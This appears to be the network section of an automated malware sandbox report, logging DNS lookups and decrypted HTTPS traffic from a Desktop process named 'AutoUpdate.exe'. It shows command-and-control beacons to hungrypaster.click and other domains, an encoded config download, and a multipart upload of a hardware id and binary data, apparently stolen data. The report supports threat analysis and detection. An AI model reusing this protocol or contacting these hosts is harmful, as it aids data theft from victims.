Dec 24, 2024 00:30:37.068226099 CET	49745	443	192.168.2.4	172.67.191.144
Dec 24, 2024 00:30:37.068237066 CET	443	49745	172.67.191.144	192.168.2.4
Dec 24, 2024 00:30:38.292046070 CET	443	49745	172.67.191.144	192.168.2.4
Dec 24, 2024 00:30:38.292123079 CET	49745	443	192.168.2.4	172.67.191.144
Dec 24, 2024 00:30:38.295386076 CET	49745	443	192.168.2.4	172.67.191.144
Dec 24, 2024 00:30:38.295397997 CET	443	49745	172.67.191.144	192.168.2.4
Dec 24, 2024 00:30:38.295718908 CET	443	49745	172.67.191.144	192.168.2.4
Dec 24, 2024 00:30:38.296924114 CET	49745	443	192.168.2.4	172.67.191.144
Dec 24, 2024 00:30:38.343332052 CET	443	49745	172.67.191.144	192.168.2.4
Dec 24, 2024 00:30:38.729217052 CET	443	49745	172.67.191.144	192.168.2.4
Dec 24, 2024 00:30:38.729269981 CET	443	49745	172.67.191.144	192.168.2.4
Dec 24, 2024 00:30:38.729336977 CET	49745	443	192.168.2.4	172.67.191.144
Dec 24, 2024 00:30:38.729356050 CET	443	49745	172.67.191.144	192.168.2.4
Dec 24, 2024 00:30:38.729456902 CET	443	49745	172.67.191.144	192.168.2.4
Dec 24, 2024 00:30:38.729502916 CET	49745	443	192.168.2.4	172.67.191.144
Dec 24, 2024 00:30:38.729509115 CET	443	49745	172.67.191.144	192.168.2.4
Dec 24, 2024 00:30:38.729564905 CET	443	49745	172.67.191.144	192.168.2.4
Dec 24, 2024 00:30:38.729614973 CET	49745	443	192.168.2.4	172.67.191.144
Dec 24, 2024 00:30:38.729866028 CET	49745	443	192.168.2.4	172.67.191.144
Dec 24, 2024 00:30:38.729878902 CET	443	49745	172.67.191.144	192.168.2.4
Dec 24, 2024 00:30:38.729892015 CET	49745	443	192.168.2.4	172.67.191.144
Dec 24, 2024 00:30:38.729896069 CET	443	49745	172.67.191.144	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 00:30:15.333043098 CET	63865	53	192.168.2.4	1.1.1.1
Dec 24, 2024 00:30:15.664671898 CET	53	63865	1.1.1.1	192.168.2.4
Dec 24, 2024 00:30:33.492496967 CET	50945	53	192.168.2.4	1.1.1.1
Dec 24, 2024 00:30:33.802999973 CET	53	50945	1.1.1.1	192.168.2.4
Dec 24, 2024 00:30:36.756613016 CET	60071	53	192.168.2.4	1.1.1.1
Dec 24, 2024 00:30:37.065030098 CET	53	60071	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 24, 2024 00:30:15.333043098 CET	192.168.2.4	1.1.1.1	0xd8fa	Standard query (0)	hungrypaster.click	A (IP address)	IN (0x0001)	false
Dec 24, 2024 00:30:33.492496967 CET	192.168.2.4	1.1.1.1	0x7eeb	Standard query (0)	neqi.shop	A (IP address)	IN (0x0001)	false
Dec 24, 2024 00:30:36.756613016 CET	192.168.2.4	1.1.1.1	0x86df	Standard query (0)	kliptizq.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 24, 2024 00:30:15.664671898 CET	1.1.1.1	192.168.2.4	0xd8fa	No error (0)	hungrypaster.click	104.21.93.82	A (IP address)	IN (0x0001)	false
Dec 24, 2024 00:30:15.664671898 CET	1.1.1.1	192.168.2.4	0xd8fa	No error (0)	hungrypaster.click	172.67.207.155	A (IP address)	IN (0x0001)	false
Dec 24, 2024 00:30:33.802999973 CET	1.1.1.1	192.168.2.4	0x7eeb	No error (0)	neqi.shop	172.67.169.205	A (IP address)	IN (0x0001)	false
Dec 24, 2024 00:30:33.802999973 CET	1.1.1.1	192.168.2.4	0x7eeb	No error (0)	neqi.shop	104.21.27.229	A (IP address)	IN (0x0001)	false
Dec 24, 2024 00:30:37.065030098 CET	1.1.1.1	192.168.2.4	0x86df	No error (0)	kliptizq.shop	172.67.191.144	A (IP address)	IN (0x0001)	false
Dec 24, 2024 00:30:37.065030098 CET	1.1.1.1	192.168.2.4	0x86df	No error (0)	kliptizq.shop	104.21.84.113	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

hungrypaster.click

neqi.shop

kliptizq.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.93.82	443	6332	C:\Users\user\Desktop\AutoUpdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 23:30:16 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: hungrypaster.click
2024-12-23 23:30:16 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-23 23:30:17 UTC	1129	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 23:30:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qkmvbb8jod6905blnmutdi9u3c; expires=Fri, 18 Apr 2025 17:16:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DyjBe3Kni2%2FzzqKXa8afLrOMz2kwjKHbG5mkxZNxrgAgbdGnxQB3dUcyrAuOVjq1ICk4ZFciyHd%2B5BnAU03h5y5%2BwlQJbTvXGwajjruxKDL6hR0NdsFGtYtyveC9YATO0Iqg%2Fts%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6c23795ac98c2d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2058&min_rtt=1998&rtt_var=792&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=909&delivery_rate=1461461&cwnd=247&unsent_bytes=0&cid=844877e6e7fe070d&ts=765&x=0"
2024-12-23 23:30:17 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-23 23:30:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	104.21.93.82	443	6332	C:\Users\user\Desktop\AutoUpdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 23:30:18 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 80 Host: hungrypaster.click
2024-12-23 23:30:18 UTC	80	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 68 52 6a 7a 47 33 2d 2d 45 4c 56 49 52 41 26 6a 3d 65 66 64 65 62 64 65 30 35 37 61 31 64 66 33 66 37 63 31 35 62 37 66 34 64 61 39 30 37 63 32 64 Data Ascii: act=recive_message&ver=4.0&lid=hRjzG3--ELVIRA&j=efdebde057a1df3f7c15b7f4da907c2d
2024-12-23 23:30:19 UTC	1125	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 23:30:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=81qvgotu0ncm4906arvl2dn18r; expires=Fri, 18 Apr 2025 17:16:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G2oL4pX7KZKLv4giuoKsExEa4rhzS5cRozdwmZJ%2Fh2CkcGkhkXSCUCnJz%2F87pl7PhVVTJcDWdKQnjcnnNYxJl4VNzmSX6sTThpqZSRI7QerWOGp8YKxX5kG6oW73prKBNGNtAlU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6c2385b863c411-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1663&min_rtt=1662&rtt_var=625&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=982&delivery_rate=1748502&cwnd=224&unsent_bytes=0&cid=6a6993ce52996c7c&ts=778&x=0"
2024-12-23 23:30:19 UTC	244	IN	Data Raw: 33 61 38 38 0d 0a 43 76 68 72 71 53 56 34 47 70 6c 56 62 54 75 71 30 70 46 79 4c 4d 65 70 34 59 7a 71 6e 35 33 31 49 34 48 71 45 6e 4e 67 68 33 6c 78 32 68 32 4c 48 30 77 32 75 79 59 49 47 5a 43 30 38 42 35 66 6f 6f 58 44 37 59 36 39 70 35 4e 43 37 5a 6c 33 58 30 4c 78 46 43 6a 43 44 63 68 4a 43 33 2b 31 64 77 68 44 69 4f 6a 4b 43 51 36 69 78 38 4f 32 79 50 72 33 6c 30 4c 74 69 48 4d 59 44 2f 63 56 61 5a 41 48 7a 6b 30 64 65 66 30 30 41 56 62 50 74 2f 51 54 52 71 6e 41 6a 4f 53 48 76 62 48 58 52 76 76 49 4b 46 45 74 34 67 31 72 74 51 72 61 54 6c 70 6e 74 53 35 50 58 73 54 77 71 31 42 4e 6f 73 75 4e 36 6f 37 30 39 5a 31 4c 35 59 6c 32 47 52 44 75 48 32 4b 51 43 63 31 4d 46 33 44 70 4f 51 74 52 78 4c 48 2b 45 77 37 72 69 34 Data Ascii: 3a88CvhrqSV4GplVbTuq0pFyLMep4Yzqn531I4HqEnNgh3lx2h2LH0w2uyYIGZC08B5fooXD7Y69p5NC7Zl3X0LxFCjCDchJC3+1dwhDiOjKCQ6ix8O2yPr3l0LtiHMYD/cVaZAHzk0def00AVbPt/QTRqnAjOSHvbHXRvvIKFEt4g1rtQraTlpntS5PXsTwq1BNosuN6o709Z1L5Yl2GRDuH2KQCc1MF3DpOQtRxLH+Ew7ri4
2024-12-23 23:30:19 UTC	1369	IN	Data Raw: 54 32 79 4b 57 2f 78 48 50 67 6d 57 45 45 44 2f 55 64 4b 49 56 48 30 67 63 64 64 4c 74 76 54 31 48 45 76 76 59 54 51 61 4c 4b 67 2f 79 48 2f 66 79 66 53 65 65 43 66 78 34 4e 36 78 46 76 6b 67 44 4d 53 42 31 77 2f 54 67 4d 47 59 62 77 39 41 67 4f 2f 59 75 6a 2f 6f 76 2b 36 35 70 51 6f 35 63 2b 43 45 4c 69 46 79 6a 43 53 63 31 4a 47 33 58 37 4a 51 64 53 77 37 58 68 47 30 65 6f 78 6f 50 6a 67 76 4c 38 6c 30 62 70 67 6e 38 62 42 75 67 57 62 70 6f 4a 69 77 6c 61 66 2b 4e 33 56 78 6e 72 74 65 4d 58 51 72 4f 4a 75 61 36 58 73 2b 62 58 52 75 2f 49 4b 46 45 4b 34 42 68 72 6b 51 62 49 54 78 46 71 2b 79 55 4a 56 4d 32 69 39 52 56 41 72 38 69 52 35 49 62 37 2f 4a 35 4b 36 6f 31 33 46 55 4b 72 57 32 2b 43 53 5a 4d 48 4f 33 58 77 4f 77 56 4f 79 50 44 73 58 6c 66 6c 7a Data Ascii: T2yKW/xHPgmWEED/UdKIVH0gcddLtvT1HEvvYTQaLKg/yH/fyfSeeCfx4N6xFvkgDMSB1w/TgMGYbw9AgO/Yuj/ov+65pQo5c+CELiFyjCSc1JG3X7JQdSw7XhG0eoxoPjgvL8l0bpgn8bBugWbpoJiwlaf+N3VxnrteMXQrOJua6Xs+bXRu/IKFEK4BhrkQbITxFq+yUJVM2i9RVAr8iR5Ib7/J5K6o13FUKrW2+CSZMHO3XwOwVOyPDsXlflz
2024-12-23 23:30:19 UTC	1369	IN	Data Raw: 37 38 4a 70 4e 6f 38 59 77 46 68 71 6c 51 79 69 77 43 74 39 45 45 44 72 4f 4e 41 46 58 7a 36 61 7a 44 77 43 38 69 34 54 69 79 4b 57 2f 6d 6b 44 72 6a 6d 49 65 44 2b 59 56 5a 70 55 4d 78 45 38 61 65 50 59 79 43 31 4c 44 73 2f 34 55 58 4b 2f 4c 69 2b 75 4a 39 2f 58 58 44 36 4f 50 61 46 46 61 70 53 70 2f 6b 55 76 2b 52 42 52 32 2f 43 46 50 52 6f 61 70 73 78 64 43 35 5a 50 44 34 34 44 34 2b 70 68 41 36 59 5a 31 47 77 37 74 46 57 75 49 42 73 39 48 46 6e 44 78 4f 67 46 64 77 4c 6e 34 47 30 69 6c 79 6f 6d 75 78 72 33 34 6a 77 47 37 79 45 51 57 44 75 67 55 4b 71 38 4b 78 55 6b 64 62 72 73 6f 51 55 43 49 74 2f 39 51 46 75 58 48 69 75 36 44 39 2f 75 58 52 75 36 4e 63 78 59 42 36 42 78 69 6c 41 37 50 53 78 4e 31 2f 54 63 49 58 63 32 69 39 68 6c 43 71 59 76 4e 72 6f Data Ascii: 78JpNo8YwFhqlQyiwCt9EEDrONAFXz6azDwC8i4TiyKW/mkDrjmIeD+YVZpUMxE8aePYyC1LDs/4UXK/Li+uJ9/XXD6OPaFFapSp/kUv+RBR2/CFPRoapsxdC5ZPD44D4+phA6YZ1Gw7tFWuIBs9HFnDxOgFdwLn4G0ilyomuxr34jwG7yEQWDugUKq8KxUkdbrsoQUCIt/9QFuXHiu6D9/uXRu6NcxYB6BxilA7PSxN1/TcIXc2i9hlCqYvNro
2024-12-23 23:30:19 UTC	1369	IN	Data Raw: 57 4b 4f 50 66 46 46 61 70 52 4a 68 69 41 66 46 54 68 64 2b 38 7a 41 42 56 4d 4f 32 2b 42 64 4a 6f 38 61 4c 34 34 33 2b 2f 70 4e 4c 38 59 74 37 47 77 2f 76 57 79 62 61 44 74 4d 48 51 6a 6a 63 4f 79 5a 4a 30 36 4c 6c 55 46 48 72 30 73 50 70 68 4c 32 6e 31 30 4c 73 67 58 38 5a 43 75 6f 55 62 4a 51 50 7a 55 6f 66 64 2f 45 6c 42 31 66 46 75 2f 77 62 58 4b 58 47 68 2b 4b 4d 39 66 53 64 41 61 33 49 64 77 6c 43 76 56 74 64 6c 77 62 4c 52 41 77 34 35 48 6b 57 47 63 2b 38 73 30 67 4f 71 63 57 44 34 59 54 78 39 4a 39 41 37 34 5a 33 46 41 76 74 45 33 71 62 44 63 4e 47 46 48 66 36 4d 77 70 63 7a 4c 66 33 46 6b 48 6c 68 63 50 70 6b 4c 32 6e 31 32 37 45 76 54 49 77 4f 4b 55 45 4a 6f 4e 4a 7a 45 74 61 49 4c 73 37 44 46 58 41 76 2f 55 5a 51 71 2f 43 69 4f 4b 44 2b 66 4f Data Ascii: WKOPfFFapRJhiAfFThd+8zABVMO2+BdJo8aL443+/pNL8Yt7Gw/vWybaDtMHQjjcOyZJ06LlUFHr0sPphL2n10LsgX8ZCuoUbJQPzUofd/ElB1fFu/wbXKXGh+KM9fSdAa3IdwlCvVtdlwbLRAw45HkWGc+8s0gOqcWD4YTx9J9A74Z3FAvtE3qbDcNGFHf6MwpczLf3FkHlhcPpkL2n127EvTIwOKUEJoNJzEtaILs7DFXAv/UZQq/CiOKD+fO
2024-12-23 23:30:19 UTC	1369	IN	Data Raw: 33 45 51 42 50 63 63 59 59 67 48 78 6b 67 53 63 50 49 32 43 31 7a 46 74 76 38 61 54 36 4c 46 6a 65 62 49 73 37 2b 51 57 61 50 51 4d 44 41 53 2f 67 6c 2b 6c 79 6a 47 53 46 70 6e 74 53 35 50 58 73 54 77 71 31 42 48 74 38 2b 4f 2f 49 48 36 38 5a 68 43 38 59 6c 39 47 68 44 69 46 47 79 64 42 63 31 49 48 48 6e 2b 50 51 4e 65 7a 62 76 38 48 41 37 72 69 34 54 32 79 4b 57 2f 75 55 72 77 6e 33 4d 66 43 66 4d 41 4b 49 56 48 30 67 63 64 64 4c 74 76 54 31 72 44 75 2f 63 51 51 71 58 50 6a 75 36 61 38 76 69 51 53 4f 69 61 65 68 59 46 37 68 4e 6a 6c 51 2f 5a 53 78 52 71 2f 69 55 64 47 59 62 77 39 41 67 4f 2f 59 75 31 36 5a 6a 74 2f 4e 56 77 39 59 74 6d 47 67 2f 70 57 33 66 55 45 49 74 41 46 6a 69 6a 64 77 6c 57 77 62 50 38 45 55 65 70 78 6f 62 6e 6a 66 7a 35 6b 30 76 70 Data Ascii: 3EQBPccYYgHxkgScPI2C1zFtv8aT6LFjebIs7+QWaPQMDAS/gl+lyjGSFpntS5PXsTwq1BHt8+O/IH68ZhC8Yl9GhDiFGydBc1IHHn+PQNezbv8HA7ri4T2yKW/uUrwn3MfCfMAKIVH0gcddLtvT1rDu/cQQqXPju6a8viQSOiaehYF7hNjlQ/ZSxRq/iUdGYbw9AgO/Yu16Zjt/NVw9YtmGg/pW3fUEItAFjijdwlWwbP8EUepxobnjfz5k0vp
2024-12-23 23:30:19 UTC	1369	IN	Data Raw: 4c 36 56 58 48 61 44 73 63 48 51 6a 6a 34 4d 41 78 59 77 72 6e 2f 48 30 6d 68 32 59 6e 70 6d 76 7a 2b 6e 45 7a 76 69 48 30 63 43 4f 51 53 5a 5a 59 45 7a 45 41 56 66 62 74 35 54 31 37 51 38 4b 74 51 62 36 6a 41 6a 37 58 53 76 65 44 5a 57 4b 4f 50 66 46 46 61 70 52 74 69 6e 77 50 47 52 42 56 37 36 54 59 4a 53 38 69 39 2b 51 4a 45 72 73 36 4f 34 34 58 2b 2b 5a 46 4b 37 35 70 35 45 51 48 75 57 79 62 61 44 74 4d 48 51 6a 6a 59 49 42 6c 54 7a 37 7a 6c 47 30 2b 6d 33 59 37 2b 79 4c 4f 2f 68 6b 62 79 79 43 67 48 45 76 49 63 64 39 51 51 69 30 41 57 4f 4b 4e 33 43 56 44 4f 74 2f 55 65 58 4b 44 4e 6a 4f 47 42 39 50 75 66 51 75 4f 4d 64 42 59 48 35 68 64 6a 6e 51 72 45 51 78 4e 32 38 6a 68 50 46 34 69 33 36 31 41 57 35 65 71 59 37 59 54 77 76 34 67 50 2b 73 68 33 48 Data Ascii: L6VXHaDscHQjj4MAxYwrn/H0mh2Ynpmvz+nEzviH0cCOQSZZYEzEAVfbt5T17Q8KtQb6jAj7XSveDZWKOPfFFapRtinwPGRBV76TYJS8i9+QJErs6O44X++ZFK75p5EQHuWybaDtMHQjjYIBlTz7zlG0+m3Y7+yLO/hkbyyCgHEvIcd9QQi0AWOKN3CVDOt/UeXKDNjOGB9PufQuOMdBYH5hdjnQrEQxN28jhPF4i361AW5eqY7YTwv4gP+sh3H
2024-12-23 23:30:19 UTC	1369	IN	Data Raw: 6f 77 6b 6e 72 54 41 78 39 2f 43 46 4e 62 4d 75 2b 2f 52 64 59 35 64 53 38 6f 4d 6a 38 76 38 39 34 2b 73 68 6d 55 56 71 33 56 53 69 49 53 5a 4d 48 58 58 76 70 4a 51 6c 61 33 72 4f 30 4c 6e 43 43 33 59 6e 70 6d 50 72 6f 6d 41 47 74 79 48 39 52 57 74 78 62 59 5a 30 53 32 6c 45 58 61 50 78 33 4d 42 65 49 71 4c 4e 49 44 70 44 49 6a 65 43 50 36 2b 37 61 5a 76 57 43 64 77 45 46 38 68 51 6f 31 45 6e 4e 42 30 49 72 74 58 63 4c 53 49 6a 6f 6f 30 49 56 38 4a 6a 55 76 74 72 69 73 59 34 42 39 63 67 6f 51 30 79 6c 43 53 6a 43 53 59 78 45 43 47 72 39 4e 42 6c 61 6a 34 37 4e 4e 31 53 6f 7a 5a 54 2f 74 73 50 34 6a 55 7a 6c 6e 32 46 64 46 2b 59 56 5a 70 30 66 69 77 6c 61 64 37 74 76 4e 68 6d 41 38 4d 78 65 44 72 32 4c 32 36 36 39 2f 76 47 5a 52 76 57 5a 50 54 59 59 36 42 Data Ascii: owknrTAx9/CFNbMu+/RdY5dS8oMj8v894+shmUVq3VSiISZMHXXvpJQla3rO0LnCC3YnpmPromAGtyH9RWtxbYZ0S2lEXaPx3MBeIqLNIDpDIjeCP6+7aZvWCdwEF8hQo1EnNB0IrtXcLSIjoo0IV8JjUvtrisY4B9cgoQ0ylCSjCSYxECGr9NBlaj47NN1SozZT/tsP4jUzln2FdF+YVZp0fiwlad7tvNhmA8MxeDr2L2669/vGZRvWZPTYY6B
2024-12-23 23:30:19 UTC	1369	IN	Data Raw: 69 78 39 61 50 2f 67 6c 48 56 2f 4c 70 76 42 58 63 4a 76 73 6a 65 6d 4a 36 2b 2b 41 54 74 32 32 5a 52 49 4d 36 78 78 2b 69 30 6d 46 42 78 55 34 6f 77 35 50 45 59 69 50 76 56 42 57 35 5a 50 44 32 34 76 7a 38 5a 42 58 38 73 56 58 48 77 58 6b 44 58 69 4e 42 6f 73 4a 57 6e 36 37 62 31 30 58 69 4c 54 69 55 42 62 31 6d 64 69 37 32 36 71 76 78 56 36 74 6b 54 41 48 51 72 31 4a 4a 74 6f 62 69 78 39 61 50 2f 67 6c 48 56 2f 4c 70 76 42 58 63 4a 76 73 6a 65 6d 4a 36 2b 2b 41 54 71 79 6d 52 6a 41 38 32 77 35 72 6c 41 66 4d 55 51 73 34 74 58 63 41 47 5a 43 4a 73 31 67 4f 6d 6f 58 44 39 73 69 6c 76 36 4a 43 37 59 5a 33 42 78 4f 6f 50 47 61 64 43 4e 31 58 44 58 65 30 47 54 6c 34 69 50 36 7a 46 67 37 39 6d 63 32 75 6a 4f 79 2f 7a 78 47 78 30 79 56 43 56 62 56 4a 64 39 51 Data Ascii: ix9aP/glHV/LpvBXcJvsjemJ6++ATt22ZRIM6xx+i0mFBxU4ow5PEYiPvVBW5ZPD24vz8ZBX8sVXHwXkDXiNBosJWn67b10XiLTiUBb1mdi726qvxV6tkTAHQr1JJtobix9aP/glHV/LpvBXcJvsjemJ6++ATqymRjA82w5rlAfMUQs4tXcAGZCJs1gOmoXD9silv6JC7YZ3BxOoPGadCN1XDXe0GTl4iP6zFg79mc2ujOy/zxGx0yVCVbVJd9Q
2024-12-23 23:30:19 UTC	1369	IN	Data Raw: 69 43 37 47 68 31 65 32 4c 4f 7a 58 67 36 70 69 39 75 75 68 65 2f 34 68 30 4b 76 6a 32 6f 57 51 76 70 56 63 64 6f 66 69 78 39 4a 4e 72 73 6c 54 77 47 49 39 2f 30 64 54 36 62 46 67 50 79 61 2b 2f 79 42 51 71 53 32 54 6a 77 51 34 67 74 72 32 44 6a 47 51 77 78 74 2b 43 63 49 5a 2f 61 64 34 52 64 65 70 6f 6d 76 36 59 58 78 77 61 6c 32 38 6f 39 67 55 79 54 6d 44 57 76 61 52 34 74 66 57 69 43 37 47 68 31 65 32 4c 4f 78 50 45 6d 6f 78 38 50 78 78 75 53 2f 67 51 47 37 32 7a 35 52 45 4b 56 44 4b 4e 30 4b 32 56 55 63 65 2b 30 30 53 47 66 32 6e 65 45 58 58 71 61 4a 73 75 4f 4d 36 2b 71 55 55 65 53 32 54 6a 77 51 34 67 74 72 32 43 7a 78 42 53 74 75 2b 44 63 42 58 6f 6a 2b 73 77 67 4f 2f 59 75 75 2f 49 2f 74 2f 4e 56 6b 32 63 70 42 42 77 48 6c 46 57 2f 61 52 34 74 4c Data Ascii: iC7Gh1e2LOzXg6pi9uuhe/4h0Kvj2oWQvpVcdofix9JNrslTwGI9/0dT6bFgPya+/yBQqS2TjwQ4gtr2DjGQwxt+CcIZ/ad4Rdepomv6YXxwal28o9gUyTmDWvaR4tfWiC7Gh1e2LOxPEmox8PxxuS/gQG72z5REKVDKN0K2VUce+00SGf2neEXXqaJsuOM6+qUUeS2TjwQ4gtr2CzxBStu+DcBXoj+swgO/Yuu/I/t/NVk2cpBBwHlFW/aR4tL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.21.93.82	443	6332	C:\Users\user\Desktop\AutoUpdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 23:30:21 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=E5RX6ECB6LYQM7B2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18152 Host: hungrypaster.click
2024-12-23 23:30:21 UTC	15331	OUT	Data Raw: 2d 2d 45 35 52 58 36 45 43 42 36 4c 59 51 4d 37 42 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 41 41 43 35 32 30 39 42 35 33 33 44 44 32 42 45 42 44 43 38 35 41 39 44 35 46 31 43 36 44 32 0d 0a 2d 2d 45 35 52 58 36 45 43 42 36 4c 59 51 4d 37 42 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 45 35 52 58 36 45 43 42 36 4c 59 51 4d 37 42 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 45 4c 56 49 52 41 0d 0a 2d 2d 45 Data Ascii: --E5RX6ECB6LYQM7B2Content-Disposition: form-data; name="hwid"5AAC5209B533DD2BEBDC85A9D5F1C6D2--E5RX6ECB6LYQM7B2Content-Disposition: form-data; name="pid"2--E5RX6ECB6LYQM7B2Content-Disposition: form-data; name="lid"hRjzG3--ELVIRA--E
2024-12-23 23:30:21 UTC	2821	OUT	Data Raw: 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 Data Ascii: Sh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q
2024-12-23 23:30:22 UTC	1132	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 23:30:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rcht93do99q1renlvb9uvbgoj7; expires=Fri, 18 Apr 2025 17:17:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HsWKiwPWfS%2FBMu1Uye3MfcBIp1%2BQtYEdr3Of8%2FQEN0vVC%2BOAPh7c5r9T43HMFmUvtMSLsYlJCfnNEZ9BzHNmeU4tnNGgugv7DXmQ5TDoA1SG7ddFmxjHknkHn2jqzMaTEGvP6a8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6c23940be88c15-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2016&min_rtt=2007&rtt_var=771&sent=8&recv=20&lost=0&retrans=0&sent_bytes=2843&recv_bytes=19114&delivery_rate=1401824&cwnd=238&unsent_bytes=0&cid=0c667494e5791db2&ts=981&x=0"
2024-12-23 23:30:22 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 23:30:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

